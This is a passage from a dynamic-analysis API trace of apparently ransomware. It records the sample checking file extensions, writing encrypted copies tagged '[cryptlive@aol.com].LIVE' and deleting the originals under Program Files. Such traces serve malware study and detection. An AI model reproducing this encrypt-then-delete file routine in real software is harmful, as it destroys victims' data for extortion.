shared\\ink\\ipsnor.xml.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0131.309] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnor.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0131.309] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnor.xml") returned 61 [0131.309] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnor.xml") returned 61 [0131.309] lstrlenW (lpString=".doc") returned 4 [0131.309] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0131.309] lstrlenW (lpString=".docx") returned 5 [0131.309] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0131.309] lstrlenW (lpString=".pdf") returned 4 [0131.309] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0131.309] lstrlenW (lpString=".xls") returned 4 [0131.310] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0131.310] lstrlenW (lpString=".xlsx") returned 5 [0131.310] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0131.310] lstrlenW (lpString=".ppt") returned 4 [0131.310] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0131.310] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnor.xml") returned 61 [0131.310] lstrlenW (lpString=".zip") returned 4 [0131.310] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0131.310] lstrlenW (lpString=".rar") returned 4 [0131.310] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0131.310] lstrlenW (lpString=".bz2") returned 4 [0131.310] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0131.310] lstrlenW (lpString=".7z") returned 3 [0131.310] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0131.310] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnor.xml") returned 61 [0131.310] lstrlenW (lpString=".dbf") returned 4 [0131.310] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0133.698] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0133.698] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0133.698] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04108_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0133.719] GetLastError () returned 0x0 [0133.719] ReadFile (in: hFile=0x328, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x928, lpOverlapped=0x0) returned 1 [0133.738] WriteFile (in: hFile=0x350, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0x930, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0x930, lpOverlapped=0x0) returned 1 [0133.740] ReadFile (in: hFile=0x328, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0133.740] WriteFile (in: hFile=0x350, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0133.740] SetEndOfFile (hFile=0x350) returned 1 [0133.740] CloseHandle (hObject=0x350) returned 1 [0133.740] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0133.740] SetEndOfFile (hFile=0x328) returned 1 [0133.743] CloseHandle (hObject=0x328) returned 1 [0133.743] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0133.795] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04108_.wmf")) returned 1 [0133.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 63 [0133.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 63 [0133.796] lstrlenW (lpString=".doc") returned 4 [0133.796] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0133.796] lstrlenW (lpString=".docx") returned 5 [0133.796] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0133.796] lstrlenW (lpString=".pdf") returned 4 [0133.796] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0133.796] lstrlenW (lpString=".xls") returned 4 [0133.796] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0133.796] lstrlenW (lpString=".xlsx") returned 5 [0133.796] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0133.796] lstrlenW (lpString=".ppt") returned 4 [0133.796] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0133.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 63 [0133.796] lstrlenW (lpString=".zip") returned 4 [0133.796] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0133.796] lstrlenW (lpString=".rar") returned 4 [0133.796] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0133.796] lstrlenW (lpString=".bz2") returned 4 [0133.796] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0133.796] lstrlenW (lpString=".7z") returned 3 [0133.796] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0133.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 63 [0133.796] lstrlenW (lpString=".dbf") returned 4 [0133.796] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0133.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 63 [0133.796] lstrlenW (lpString=".1cd") returned 4 [0133.796] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0133.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 63 [0133.797] lstrlenW (lpString=".jpg") returned 4 [0133.797] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0133.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 63 [0133.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 63 [0133.797] lstrlenW (lpString=".doc") returned 4 [0133.797] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0133.797] lstrlenW (lpString=".docx") returned 5 [0133.797] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0133.797] lstrlenW (lpString=".pdf") returned 4 [0133.797] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0133.797] lstrlenW (lpString=".xls") returned 4 [0133.797] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0133.797] lstrlenW (lpString=".xlsx") returned 5 [0133.797] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0133.797] lstrlenW (lpString=".ppt") returned 4 [0133.797] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0133.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 63 [0133.797] lstrlenW (lpString=".zip") returned 4 [0133.797] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0133.797] lstrlenW (lpString=".rar") returned 4 [0133.797] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0133.797] lstrlenW (lpString=".bz2") returned 4 [0133.797] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0133.797] lstrlenW (lpString=".7z") returned 3 [0133.797] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0133.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 63 [0133.798] lstrlenW (lpString=".dbf") returned 4 [0133.798] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0133.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 63 [0133.798] lstrlenW (lpString=".1cd") returned 4 [0133.798] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0133.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 63 [0133.798] lstrlenW (lpString=".jpg") returned 4 [0133.798] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0133.799] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0133.799] lstrlenW (lpString="AN04117_.WMF") returned 12 [0133.799] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04117_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0133.800] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=6060) returned 1 [0133.800] CloseHandle (hObject=0x328) returned 1 [0133.800] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04117_.wmf")) returned 0x20 [0133.800] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04117_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0133.800] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04117_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0133.800] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0133.800] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0133.800] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04117_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0133.801] GetLastError () returned 0x0 [0133.801] ReadFile (in: hFile=0x328, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x17ac, lpOverlapped=0x0) returned 1 [0133.802] WriteFile (in: hFile=0x350, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0x17b0, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0x17b0, lpOverlapped=0x0) returned 1 [0133.803] ReadFile (in: hFile=0x328, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0133.804] WriteFile (in: hFile=0x350, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0133.804] SetEndOfFile (hFile=0x350) returned 1 [0133.804] CloseHandle (hObject=0x350) returned 1 [0133.804] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0133.804] SetEndOfFile (hFile=0x328) returned 1 [0134.094] CloseHandle (hObject=0x328) returned 1 [0134.094] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0134.128] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04117_.wmf")) returned 1 [0134.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 63 [0134.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 63 [0134.392] lstrlenW (lpString=".doc") returned 4 [0134.392] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0134.392] lstrlenW (lpString=".docx") returned 5 [0134.392] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0134.392] lstrlenW (lpString=".pdf") returned 4 [0134.392] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0134.392] lstrlenW (lpString=".xls") returned 4 [0134.392] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0134.392] lstrlenW (lpString=".xlsx") returned 5 [0134.392] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0134.392] lstrlenW (lpString=".ppt") returned 4 [0134.392] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0134.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 63 [0134.392] lstrlenW (lpString=".zip") returned 4 [0134.392] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0134.392] lstrlenW (lpString=".rar") returned 4 [0134.393] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0134.393] lstrlenW (lpString=".bz2") returned 4 [0134.393] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0134.393] lstrlenW (lpString=".7z") returned 3 [0134.393] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0134.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 63 [0134.393] lstrlenW (lpString=".dbf") returned 4 [0134.393] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0134.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 63 [0134.393] lstrlenW (lpString=".1cd") returned 4 [0134.393] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0134.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 63 [0134.393] lstrlenW (lpString=".jpg") returned 4 [0134.393] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0134.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 63 [0134.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 63 [0134.393] lstrlenW (lpString=".doc") returned 4 [0134.393] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0134.393] lstrlenW (lpString=".docx") returned 5 [0134.393] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0134.393] lstrlenW (lpString=".pdf") returned 4 [0134.393] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0134.393] lstrlenW (lpString=".xls") returned 4 [0134.393] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0134.393] lstrlenW (lpString=".xlsx") returned 5 [0134.393] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0134.393] lstrlenW (lpString=".ppt") returned 4 [0134.393] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0134.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 63 [0134.393] lstrlenW (lpString=".zip") returned 4 [0134.393] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0134.393] lstrlenW (lpString=".rar") returned 4 [0134.393] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0134.393] lstrlenW (lpString=".bz2") returned 4 [0134.394] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0134.394] lstrlenW (lpString=".7z") returned 3 [0134.394] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0134.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 63 [0134.394] lstrlenW (lpString=".dbf") returned 4 [0134.394] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0134.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 63 [0134.394] lstrlenW (lpString=".1cd") returned 4 [0134.394] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0134.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 63 [0134.394] lstrlenW (lpString=".jpg") returned 4 [0134.394] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0134.394] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0134.394] lstrlenW (lpString="AN04326_.WMF") returned 12 [0134.394] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04326_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0134.633] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=3348) returned 1 [0134.633] CloseHandle (hObject=0x388) returned 1 [0134.633] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04326_.wmf")) returned 0x20 [0134.669] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04326_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0134.669] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04326_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0134.669] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0134.669] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0134.669] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04326_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0134.670] GetLastError () returned 0x0 [0134.670] ReadFile (in: hFile=0x314, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0xd14, lpOverlapped=0x0) returned 1 [0134.717] WriteFile (in: hFile=0x388, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xd20, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xd20, lpOverlapped=0x0) returned 1 [0134.718] ReadFile (in: hFile=0x314, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0134.718] WriteFile (in: hFile=0x388, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0134.718] SetEndOfFile (hFile=0x388) returned 1 [0134.718] CloseHandle (hObject=0x388) returned 1 [0134.718] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0134.718] SetEndOfFile (hFile=0x314) returned 1 [0134.722] CloseHandle (hObject=0x314) returned 1 [0134.722] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0134.782] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04326_.wmf")) returned 1 [0134.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 63 [0134.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 63 [0134.819] lstrlenW (lpString=".doc") returned 4 [0134.819] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0134.819] lstrlenW (lpString=".docx") returned 5 [0134.819] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0134.819] lstrlenW (lpString=".pdf") returned 4 [0134.819] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0134.819] lstrlenW (lpString=".xls") returned 4 [0134.819] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0134.819] lstrlenW (lpString=".xlsx") returned 5 [0134.819] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0134.819] lstrlenW (lpString=".ppt") returned 4 [0134.819] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0134.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 63 [0134.819] lstrlenW (lpString=".zip") returned 4 [0134.819] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0134.819] lstrlenW (lpString=".rar") returned 4 [0134.819] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0134.819] lstrlenW (lpString=".bz2") returned 4 [0134.819] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0134.819] lstrlenW (lpString=".7z") returned 3 [0134.819] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0134.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 63 [0134.819] lstrlenW (lpString=".dbf") returned 4 [0134.819] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0134.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 63 [0134.819] lstrlenW (lpString=".1cd") returned 4 [0134.819] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0134.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 63 [0134.820] lstrlenW (lpString=".jpg") returned 4 [0134.820] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0134.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 63 [0134.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 63 [0134.820] lstrlenW (lpString=".doc") returned 4 [0134.820] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0134.820] lstrlenW (lpString=".docx") returned 5 [0134.820] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0134.820] lstrlenW (lpString=".pdf") returned 4 [0134.820] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0134.820] lstrlenW (lpString=".xls") returned 4 [0134.820] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0134.820] lstrlenW (lpString=".xlsx") returned 5 [0134.820] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0134.820] lstrlenW (lpString=".ppt") returned 4 [0134.820] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0134.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 63 [0134.820] lstrlenW (lpString=".zip") returned 4 [0134.820] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0134.820] lstrlenW (lpString=".rar") returned 4 [0134.820] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0134.820] lstrlenW (lpString=".bz2") returned 4 [0134.820] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0134.820] lstrlenW (lpString=".7z") returned 3 [0134.820] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0134.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 63 [0134.820] lstrlenW (lpString=".dbf") returned 4 [0134.820] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0134.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 63 [0134.821] lstrlenW (lpString=".1cd") returned 4 [0134.821] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0134.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 63 [0134.821] lstrlenW (lpString=".jpg") returned 4 [0134.821] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0134.821] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0134.821] lstrlenW (lpString="BD00146_.WMF") returned 12 [0134.821] CreateFileW (lpFileName="C:\\Program Files\\Microsoft 